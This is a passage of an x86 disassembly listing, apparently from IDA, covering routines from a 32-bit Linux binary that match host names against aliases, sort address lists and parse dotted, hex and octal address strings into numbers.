		mov	ecx, [ebp+arg_0]
		mov	ds:dword_0_8079CEC, ecx
		call	strcpy(unk_0_8079d78,[esi])

loc_0_804C7E5:				; CODE XREF: sub_0_804C6FC+CDj
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_0_804C7B8

loc_0_804C7ED:				; CODE XREF: sub_0_804C6FC+AFj
					; sub_0_804C6FC+BAj
		call	strcasecmp([esi],var_68)
		test	eax, eax
		jnz	short loc_0_804C808
		inc	[ebp+var_64]
		jmp	short loc_0_804C82E
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C808:				; CODE XREF: sub_0_804C6FC+102j
		mov	ebx, [esi+4]
		cmp	dword ptr [ebx], 0
		jz	short loc_0_804C82E

loc_0_804C810:				; CODE XREF: sub_0_804C6FC+130j
		call	strcasecmp([ebx],var_68)
		test	eax, eax
		jnz	short loc_0_804C826
		inc	[ebp+var_64]

loc_0_804C826:				; CODE XREF: sub_0_804C6FC+125j
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_0_804C810

loc_0_804C82E:				; CODE XREF: sub_0_804C6FC+107j
					; sub_0_804C6FC+112j
		test	edi, edi
		jz	short loc_0_804C888
		cmp	dword_0_8078510, 0
		jz	loc_0_804C8F0
		mov	ebx, [esi+0Ch]
		mov	eax, [esi+8]
		mov	ds:dword_0_8079CE0, eax
		mov	eax, [esi+0Ch]
		mov	ds:dword_0_8079CE4, eax
		cmp	[ebp+var_5C], ebx
		jl	short loc_0_804C886
		mov	eax, [esi+10h]
		call	memmove2([eax],var_54,ebx)
		mov	edx, [ebp+var_54]
		mov	ecx, [ebp+var_4C]
		mov	[ecx], edx
		add	ecx, 4
		mov	[ebp+var_4C], ecx
		mov	dword ptr [ecx], 0
		add	edx, ebx
		mov	[ebp+var_54], edx
		sub	[ebp+var_5C], ebx

loc_0_804C886:				; CODE XREF: sub_0_804C6FC+159j
		xor	edi, edi

loc_0_804C888:				; CODE XREF: sub_0_804C6FC+134j
		cmp	[ebp+var_64], 0
		jz	loc_0_804C788
		mov	ebx, [esi+0Ch]
		cmp	[ebp+var_60], ebx
		jl	short loc_0_804C8C9
		mov	eax, [esi+10h]
		call	memmove2([eax],var_58,ebx)
		mov	ecx, [ebp+var_58]
		mov	edx, [ebp+var_50]
		mov	[edx], ecx
		add	edx, 4
		mov	[ebp+var_50], edx
		mov	dword ptr [edx], 0
		add	ecx, ebx
		mov	[ebp+var_58], ecx
		sub	[ebp+var_60], ebx

loc_0_804C8C9:				; CODE XREF: sub_0_804C6FC+19Cj
		mov	[ebp+var_64], 0
		jmp	loc_0_804C788
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C8D8:				; CODE XREF: sub_0_804C6FC+95j
		call	sub_0_804C574
		cmp	ds:dword_0_8079BB8, 0
		jnz	short loc_0_804C8FC
		xor	eax, eax
		jmp	loc_0_804C9D4
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C8F0:				; CODE XREF: sub_0_804C6FC+13Dj
		call	sub_0_804C574
		mov	eax, esi
		jmp	loc_0_804C9D4
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804C8FC:				; CODE XREF: sub_0_804C6FC+1E8j
		mov	ds:dword_0_8079CDC, offset dword_0_8079CEC
		mov	ds:dword_0_8079CD8, offset unk_0_8079D78
		mov	[ebp+var_6C], 0
		mov	[ebp+var_70], 0FFFFFFFFh
		cmp	ds:dword_0_8079C48, 0
		jz	short loc_0_804C9A3
		mov	[ebp+var_74], offset dword_0_8079C48
		lea	esi, [esi]

loc_0_804C930:				; CODE XREF: sub_0_804C6FC+2A5j
		xor	edi, edi
		cmp	ds:dword_0_8079BB8, 0
		jz	short loc_0_804C997
		mov	esi, offset dword_0_8079BB8

loc_0_804C940:				; CODE XREF: sub_0_804C6FC+299j
		mov	edx, [ebp+var_74]
		call	memmove2([edx],var_44,dword_0_8079CE4)
		mov	eax, [ebp+var_44]
		mov	ebx, eax
		xchg	bl, bh
		ror	ebx, 10h
		xchg	bl, bh
		call	memmove2([esi],var_48,dowrd_0_8079CE4)
		mov	eax, ebx
		xor	eax, [ebp+var_48]
		mov	[ebp+var_44], eax
		add	esp, 0Ch
		mov	ecx, [ebp+var_70]
		cmp	eax, ecx
		jnb	short loc_0_804C98E
		mov	[ebp+var_6C], edi
		mov	[ebp+var_70], eax

loc_0_804C98E:				; CODE XREF: sub_0_804C6FC+28Aj
		add	esi, 4
		inc	edi
		cmp	dword ptr [esi], 0
		jnz	short loc_0_804C940

loc_0_804C997:				; CODE XREF: sub_0_804C6FC+23Dj
		add	[ebp+var_74], 4
		mov	edx, [ebp+var_74]
		cmp	dword ptr [edx], 0
		jnz	short loc_0_804C930

loc_0_804C9A3:				; CODE XREF: sub_0_804C6FC+229j
		cmp	[ebp+var_6C], 0
		jz	short loc_0_804C9C5
		mov	ecx, ds:dword_0_8079BB8
		mov	edx, [ebp+var_6C]
		mov	eax, ds:dword_0_8079BB8[edx*4]
		mov	ds:dword_0_8079BB8, eax
		mov	ds:dword_0_8079BB8[edx*4], ecx

loc_0_804C9C5:				; CODE XREF: sub_0_804C6FC+2ABj
		mov	ds:dword_0_8079CE8, offset dword_0_8079BB8
		mov	eax, offset dword_0_8079CD8

loc_0_804C9D4:				; CODE XREF: sub_0_804C6FC+1ECj
					; sub_0_804C6FC+1FBj
		lea	esp, [ebp+var_84]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804C6FC	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804C9E4	proc near		; CODE XREF: .text:0804BF23p
					; sub_0_804BF80+234p ...

var_14		= byte ptr -14h
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		cmp	dword_0_807852C, 0
		jnz	short loc_0_804CA11
		push	offset dword_0_807852C
		call	sub_0_805D5F8
		add	esp, 4
		test	eax, eax
		jnz	loc_0_804CAB1

loc_0_804CA11:				; CODE XREF: sub_0_804C9E4+16j
		test	ebx, ebx
		jz	short loc_0_804CA44
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	strlen(ebx)
		push	eax
		push	ebx
		push	esi
		mov	eax, dword_0_807852C
		push	eax
		call	sub_0_805D3A8
		add	esp, 18h
		jmp	short loc_0_804CAAD
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804CA44:				; CODE XREF: sub_0_804C9E4+2Fj
		cmp	dword_0_8078528, 0
		jz	short loc_0_804CA80
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_0_8079DD0
		push	offset dword_0_8079DCC
		push	esi
		mov	eax, dword_0_807852C
		push	eax
		call	sub_0_805D638
		add	esp, 18h
		test	eax, eax
		jnz	short loc_0_804CAB1
		mov	dword_0_8078528, 0
		jmp	short loc_0_804CAB8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804CA80:				; CODE XREF: sub_0_804C9E4+67j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_0_8079DD0
		push	offset dword_0_8079DCC
		mov	eax, ds:dword_0_8079DD0
		push	eax
		mov	eax, ds:dword_0_8079DCC
		push	eax
		push	esi
		mov	eax, dword_0_807852C
		push	eax
		call	sub_0_805D814
		add	esp, 20h

loc_0_804CAAD:				; CODE XREF: sub_0_804C9E4+5Bj
		test	eax, eax
		jz	short loc_0_804CAB8

loc_0_804CAB1:				; CODE XREF: sub_0_804C9E4+27j
					; sub_0_804C9E4+8Cj
		xor	eax, eax
		jmp	loc_0_804CB89
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804CAB8:				; CODE XREF: sub_0_804C9E4+98j
					; sub_0_804C9E4+CBj
		call	strchr(var_4,'\n') ; 0Ah
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_0_804CACF
		mov	byte ptr [ebx],	0

loc_0_804CACF:				; CODE XREF: sub_0_804C9E4+E6j
		call	strpbrk(var_4,' \t')
		mov	ebx, eax
		mov	byte ptr [ebx],	0
		inc	ebx
		mov	ds:dword_0_8079DC8, offset dword_0_807A340
		mov	ds:dword_0_807A340, offset unk_0_807A31C
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_0_804CE8C
		mov	edx, eax
		mov	eax, ds:dword_0_8079DC8
		mov	eax, [eax]
		mov	[eax], edx
		mov	ds:dword_0_8079DC4, 4
		mov	ds:dword_0_8079DC0, 2
		add	esp, 0Ch
		jmp	short loc_0_804CB25
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804CB24:				; CODE XREF: sub_0_804C9E4+144j
					; sub_0_804C9E4+149j
		inc	ebx

loc_0_804CB25:				; CODE XREF: sub_0_804C9E4+13Ej
		cmp	byte ptr [ebx],	20h
		jz	short loc_0_804CB24
		cmp	byte ptr [ebx],	9
		jz	short loc_0_804CB24
		mov	ds:dword_0_8079DB8, ebx
		mov	ds:dword_0_8079DBC, offset dword_0_8079E88
		mov	edi, offset dword_0_8079E88
		jmp	short loc_0_804CB64
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804CB48:				; CODE XREF: sub_0_804C9E4+198j
		cmp	byte ptr [ebx],	0
		jz	short loc_0_804CB7E
		cmp	byte ptr [ebx],	20h
		jz	short loc_0_804CB7B
		cmp	byte ptr [ebx],	9
		jz	short loc_0_804CB7B
		cmp	edi, offset unk_0_8079F10
		jnb	short loc_0_804CB64
		mov	[edi], ebx
		add	edi, 4

loc_0_804CB64:				; CODE XREF: sub_0_804C9E4+160j
					; sub_0_804C9E4+179j
		call	strpbrk(ebx,' \t')
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_0_804CB7E
		mov	byte ptr [ebx],	0

loc_0_804CB7B:				; CODE XREF: sub_0_804C9E4+16Cj
					; sub_0_804C9E4+171j
		inc	ebx
		jnz	short loc_0_804CB48

loc_0_804CB7E:				; CODE XREF: sub_0_804C9E4+167j
					; sub_0_804C9E4+192j
		mov	dword ptr [edi], 0
		mov	eax, offset dword_0_8079DB8

loc_0_804CB89:				; CODE XREF: sub_0_804C9E4+CFj
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804C9E4	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804CB94	proc near		; CODE XREF: .text:0804C4C8p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		push	0
		call	sub_0_804C538
		add	esp, 4
		lea	esi, [esi]

loc_0_804CBAC:				; CODE XREF: sub_0_804CB94+26j
					; sub_0_804CB94+3Dj
		call	sub_0_804C5A4
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_0_804CBD3
		cmp	[ebx+8], esi
		jnz	short loc_0_804CBAC
		call	bcmp([[ebx+10h]],arg_0,edi)
		test	eax, eax
		jnz	short loc_0_804CBAC

loc_0_804CBD3:				; CODE XREF: sub_0_804CB94+21j
		call	sub_0_804C574
		mov	eax, ebx
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804CB94	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804CBE4	proc near		; CODE XREF: sub_0_804B800+65Fp

var_6C		= byte ptr -6Ch
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= word ptr -48h
var_46		= byte ptr -46h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_50], 0
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4C], edx
		mov	[ebp+var_5C], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+var_50], edi
		jge	loc_0_804CD5C
		test	edi, 1
		jz	short loc_0_804CC80
		xor	ecx, ecx
		mov	al, byte_0_80786A8
		shr	al, 4
		and	eax, 0FFh
		cmp	[ebp+var_50], eax
		jge	short loc_0_804CC56
		mov	esi, [edx]
		mov	ebx, eax
		mov	[ebp+var_60], 0
		lea	esi, [esi+0]

loc_0_804CC38:				; CODE XREF: sub_0_804CBE4+70j
		mov	eax, [esi]
		mov	edx, [ebp+var_60]
		and	eax, dword ptr unk_0_80786B0[edx]
		cmp	dword ptr unk_0_80786AC[edx], eax
		jz	short loc_0_804CC56
		add	edx, 8
		mov	[ebp+var_60], edx
		inc	ecx
		cmp	ecx, ebx
		jl	short loc_0_804CC38

loc_0_804CC56:				; CODE XREF: sub_0_804CBE4+44j
					; sub_0_804CBE4+65j
		mov	edi, [ebp+var_5C]
		mov	[ebp+edi*2+var_48], cx
		cmp	[ebp+var_50], 0
		jnz	short loc_0_804CC74
		test	edi, edi
		jle	short loc_0_804CC74
		movsx	eax, word ptr [ebp+edi*2+var_4C+2]
		cmp	ecx, eax
		jge	short loc_0_804CC74
		mov	[ebp+var_50], edi

loc_0_804CC74:				; CODE XREF: sub_0_804CBE4+7Ej
					; sub_0_804CBE4+82j ...
		inc	[ebp+var_5C]
		add	[ebp+var_4C], 4
		jmp	loc_0_804CD50
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804CC80:				; CODE XREF: sub_0_804CBE4+2Fj
					; sub_0_804CBE4+172j
		xor	ecx, ecx
		mov	al, byte_0_80786A8
		shr	al, 4
		and	eax, 0FFh
		cmp	ecx, eax
		jge	short loc_0_804CCC2
		mov	edi, [ebp+var_4C]
		mov	esi, [edi]
		mov	ebx, eax
		mov	[ebp+var_60], 0
		lea	esi, [esi]

loc_0_804CCA4:				; CODE XREF: sub_0_804CBE4+DCj
		mov	eax, [esi]
		mov	edx, [ebp+var_60]
		and	eax, dword ptr unk_0_80786B0[edx]
		cmp	dword ptr unk_0_80786AC[edx], eax
		jz	short loc_0_804CCC2
		add	edx, 8
		mov	[ebp+var_60], edx
		inc	ecx
		cmp	ecx, ebx
		jl	short loc_0_804CCA4

loc_0_804CCC2:				; CODE XREF: sub_0_804CBE4+AEj
					; sub_0_804CBE4+D1j
		mov	edi, [ebp+var_5C]
		mov	[ebp+edi*2+var_48], cx
		cmp	[ebp+var_50], 0
		jnz	short loc_0_804CCE0
		test	edi, edi
		jle	short loc_0_804CCE0
		movsx	eax, word ptr [ebp+edi*2+var_4C+2]
		cmp	ecx, eax
		jge	short loc_0_804CCE0
		mov	[ebp+var_50], edi

loc_0_804CCE0:				; CODE XREF: sub_0_804CBE4+EAj
					; sub_0_804CBE4+EEj ...
		mov	esi, [ebp+var_5C]
		inc	esi
		xor	ecx, ecx
		mov	al, byte_0_80786A8
		shr	al, 4
		and	eax, 0FFh
		cmp	ecx, eax
		jge	short loc_0_804CD2D
		mov	edx, [ebp+var_4C]
		mov	edx, [edx+4]
		mov	[ebp+var_58], edx
		mov	ebx, eax
		mov	[ebp+var_60], 0
		lea	esi, [esi]

loc_0_804CD0C:				; CODE XREF: sub_0_804CBE4+147j
		mov	edi, [ebp+var_58]
		mov	eax, [edi]
		mov	edi, [ebp+var_60]
		and	eax, dword ptr unk_0_80786B0[edi]
		cmp	dword ptr unk_0_80786AC[edi], eax
		jz	short loc_0_804CD2D
		add	edi, 8
		mov	[ebp+var_60], edi
		inc	ecx
		cmp	ecx, ebx
		jl	short loc_0_804CD0C

loc_0_804CD2D:				; CODE XREF: sub_0_804CBE4+112j
					; sub_0_804CBE4+13Cj
		mov	[ebp+esi*2+var_48], cx
		cmp	[ebp+var_50], 0
		jnz	short loc_0_804CD48
		test	esi, esi
		jle	short loc_0_804CD48
		movsx	eax, word ptr [ebp+esi*2+var_4C+2]
		cmp	ecx, eax
		jge	short loc_0_804CD48
		mov	[ebp+var_50], esi

loc_0_804CD48:				; CODE XREF: sub_0_804CBE4+152j
					; sub_0_804CBE4+156j ...
		add	[ebp+var_5C], 2
		add	[ebp+var_4C], 8

loc_0_804CD50:				; CODE XREF: sub_0_804CBE4+97j
		mov	edx, [ebp+arg_4]
		cmp	[ebp+var_5C], edx
		jl	loc_0_804CC80

loc_0_804CD5C:				; CODE XREF: sub_0_804CBE4+23j
		cmp	[ebp+var_50], 0
		jz	loc_0_804CE7F
		mov	edi, [ebp+arg_4]
		cmp	[ebp+var_50], edi
		jge	loc_0_804CE7F
		lea	edx, [ebp+var_46]
		mov	[ebp+var_54], edx
		mov	eax, edi
		sub	eax, [ebp+var_50]
		test	al, 1
		jz	short loc_0_804CDD8
		mov	ecx, [ebp+var_50]
		dec	ecx
		js	short loc_0_804CDC7
		mov	edi, [ebp+arg_0]
		lea	esi, [edi+ecx*4]
		lea	ebx, [edx+ecx*2]

loc_0_804CD90:				; CODE XREF: sub_0_804CBE4+1E1j
		mov	ax, [ebp+ecx*2+var_48]
		cmp	[ebx], ax
		jge	short loc_0_804CDC7
		movsx	edx, ax
		mov	[ebp+var_5C], edx
		mov	ax, [ebx]
		mov	[ebp+ecx*2+var_48], ax
		mov	di, word ptr [ebp+var_5C]
		mov	[ebx], di
		mov	edx, [esi]
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+ecx*4+4]
		mov	[esi], eax
		mov	[edi+ecx*4+4], edx
		add	esi, 0FFFFFFFCh
		add	ebx, 0FFFFFFFEh
		dec	ecx
		jns	short loc_0_804CD90

loc_0_804CDC7:				; CODE XREF: sub_0_804CBE4+1A1j
					; sub_0_804CBE4+1B4j
		inc	[ebp+var_50]
		mov	edx, [ebp+arg_4]
		cmp	[ebp+var_50], edx
		jge	loc_0_804CE7F
		lea	esi, [esi]

loc_0_804CDD8:				; CODE XREF: sub_0_804CBE4+19Bj
					; sub_0_804CBE4+295j
		mov	ecx, [ebp+var_50]
		dec	ecx
		js	short loc_0_804CE23
		mov	edi, [ebp+arg_0]
		lea	esi, [edi+ecx*4]
		mov	edx, [ebp+var_54]
		lea	ebx, [edx+ecx*2]
		lea	esi, [esi]

loc_0_804CDEC:				; CODE XREF: sub_0_804CBE4+23Dj
		mov	ax, [ebp+ecx*2+var_48]
		cmp	[ebx], ax
		jge	short loc_0_804CE23
		movsx	edi, ax
		mov	[ebp+var_5C], edi
		mov	ax, [ebx]
		mov	[ebp+ecx*2+var_48], ax
		mov	dx, word ptr [ebp+var_5C]
		mov	[ebx], dx
		mov	edi, [esi]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4+4]
		mov	[esi], eax
		mov	[edx+ecx*4+4], edi
		add	esi, 0FFFFFFFCh
		add	ebx, 0FFFFFFFEh
		dec	ecx
		jns	short loc_0_804CDEC

loc_0_804CE23:				; CODE XREF: sub_0_804CBE4+1F8j
					; sub_0_804CBE4+210j
		mov	ecx, [ebp+var_50]
		test	ecx, ecx
		jl	short loc_0_804CE6F
		mov	edi, [ebp+arg_0]
		lea	esi, [edi+ecx*4]
		mov	edx, [ebp+var_54]
		lea	ebx, [edx+ecx*2]
		lea	esi, [esi]

loc_0_804CE38:				; CODE XREF: sub_0_804CBE4+289j
		mov	ax, [ebp+ecx*2+var_48]
		cmp	[ebx], ax
		jge	short loc_0_804CE6F
		movsx	edi, ax
		mov	[ebp+var_5C], edi
		mov	ax, [ebx]
		mov	[ebp+ecx*2+var_48], ax
		mov	dx, word ptr [ebp+var_5C]
		mov	[ebx], dx
		mov	edi, [esi]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4+4]
		mov	[esi], eax
		mov	[edx+ecx*4+4], edi
		add	esi, 0FFFFFFFCh
		add	ebx, 0FFFFFFFEh
		dec	ecx
		jns	short loc_0_804CE38

loc_0_804CE6F:				; CODE XREF: sub_0_804CBE4+244j
					; sub_0_804CBE4+25Cj
		add	[ebp+var_50], 2
		mov	edi, [ebp+arg_4]
		cmp	[ebp+var_50], edi
		jl	loc_0_804CDD8

loc_0_804CE7F:				; CODE XREF: sub_0_804CBE4+17Cj
					; sub_0_804CBE4+188j ...
		lea	esp, [ebp+var_6C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804CBE4	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804CE8C	proc near		; CODE XREF: sub_0_8049564+1B1p
					; sub_0_80499F4+BFp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	edx, [ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		push	edx
		call	sub_0_804CEB4
		test	eax, eax
		jnz	short loc_0_804CEAC
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804CEAC:				; CODE XREF: sub_0_804CE8C+15j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804CE8C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804CEB4	proc near		; CODE XREF: sub_0_804CE8C+Ep
					; sub_0_804D744+415p ...

var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		lea	ecx, [ebp+var_10]
		mov	[ebp+var_18], ecx
		lea	esi, [esi]

loc_0_804CEC8:				; CODE XREF: sub_0_804CEB4+CBj
		xor	esi, esi
		mov	[ebp+var_14], 0Ah
		cmp	byte ptr [ebx],	30h
		jnz	short loc_0_804CEF3
		inc	ebx
		cmp	byte ptr [ebx],	78h
		jz	short loc_0_804CEE1
		cmp	byte ptr [ebx],	58h
		jnz	short loc_0_804CEEC

loc_0_804CEE1:				; CODE XREF: sub_0_804CEB4+26j
		mov	[ebp+var_14], 10h
		inc	ebx
		jmp	short loc_0_804CEF3
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804CEEC:				; CODE XREF: sub_0_804CEB4+2Bj
		mov	[ebp+var_14], 8

loc_0_804CEF3:				; CODE XREF: sub_0_804CEB4+20j
					; sub_0_804CEB4+35j
		mov	al, [ebx]
		test	al, al
		jz	short loc_0_804CF5A
		mov	edi, tableBit
		nop	

loc_0_804CF00:				; CODE XREF: sub_0_804CEB4+A4j
		test	al, al
		jl	short loc_0_804CF1C
		movzx	edx, al
		test	byte ptr [edi+edx*2+1],	8
		jz	short loc_0_804CF1C
		mov	eax, [ebp+var_14]
		imul	eax, esi
		lea	esi, [edx+eax-30h]
		jmp	short loc_0_804CF53
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804CF1C:				; CODE XREF: sub_0_804CEB4+4Ej
					; sub_0_804CEB4+58j
		cmp	[ebp+var_14], 10h
		jnz	short loc_0_804CF5A
		test	al, al
		jl	short loc_0_804CF5A
		and	eax, 0FFh
		test	byte ptr [edi+eax*2+1],	10h
		jz	short loc_0_804CF5A
		lea	ecx, [eax+0Ah]
		mov	[ebp+var_1C], ecx
		mov	edx, esi
		shl	edx, 4
		test	byte ptr [edi+eax*2+1],	2
		jz	short loc_0_804CF4C
		lea	esi, [ecx+edx-61h]
		jmp	short loc_0_804CF53
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804CF4C:				; CODE XREF: sub_0_804CEB4+8Ej
		mov	ecx, [ebp+var_1C]
		lea	esi, [ecx+edx-41h]

loc_0_804CF53:				; CODE XREF: sub_0_804CEB4+64j
					; sub_0_804CEB4+94j
		inc	ebx
		mov	al, [ebx]
		test	al, al
		jnz	short loc_0_804CF00

loc_0_804CF5A:				; CODE XREF: sub_0_804CEB4+43j
					; sub_0_804CEB4+6Cj ...
		cmp	byte ptr [ebx],	2Eh
		jnz	short loc_0_804CF84
		lea	eax, [ebp+var_4]
		cmp	[ebp+var_18], eax
		jnb	loc_0_804CFEC
		cmp	esi, 0FFh
		ja	short loc_0_804CFEC
		mov	ecx, [ebp+var_18]
		mov	[ecx], esi
		add	ecx, 4
		mov	[ebp+var_18], ecx
		inc	ebx
		jmp	loc_0_804CEC8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804CF84:				; CODE XREF: sub_0_804CEB4+A9j
		cmp	byte ptr [ebx],	0
		jz	short loc_0_804CF9A
		jl	short loc_0_804CFEC
		movzx	edx, byte ptr [ebx]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804CFEC

loc_0_804CF9A:				; CODE XREF: sub_0_804CEB4+D3j
		lea	eax, [ebp+var_10]
		mov	ecx, [ebp+var_18]
		sub	ecx, eax
		mov	eax, ecx
		sar	eax, 2
		inc	eax
		cmp	eax, 2
		jz	short loc_0_804CFBC
		jle	short loc_0_804D008
		cmp	eax, 3
		jz	short loc_0_804CFCC
		cmp	eax, 4
		jz	short loc_0_804CFE4
		jmp	short loc_0_804D008
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804CFBC:				; CODE XREF: sub_0_804CEB4+F7j
		cmp	esi, 0FFFFFFh
		ja	short loc_0_804CFEC
		mov	eax, [ebp+var_10]
		shl	eax, 18h
		jmp	short loc_0_804D006
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804CFCC:				; CODE XREF: sub_0_804CEB4+FEj
		cmp	esi, 0FFFFh
		ja	short loc_0_804CFEC
		mov	eax, [ebp+var_10]
		shl	eax, 18h
		mov	edx, [ebp+var_C]
		shl	edx, 10h
		jmp	short loc_0_804D004
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804CFE4:				; CODE XREF: sub_0_804CEB4+103j
		cmp	esi, 0FFh
		jbe	short loc_0_804CFF0

loc_0_804CFEC:				; CODE XREF: sub_0_804CEB4+B1j
					; sub_0_804CEB4+BDj ...
		xor	eax, eax
		jmp	short loc_0_804D021
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804CFF0:				; CODE XREF: sub_0_804CEB4+136j
		mov	eax, [ebp+var_10]
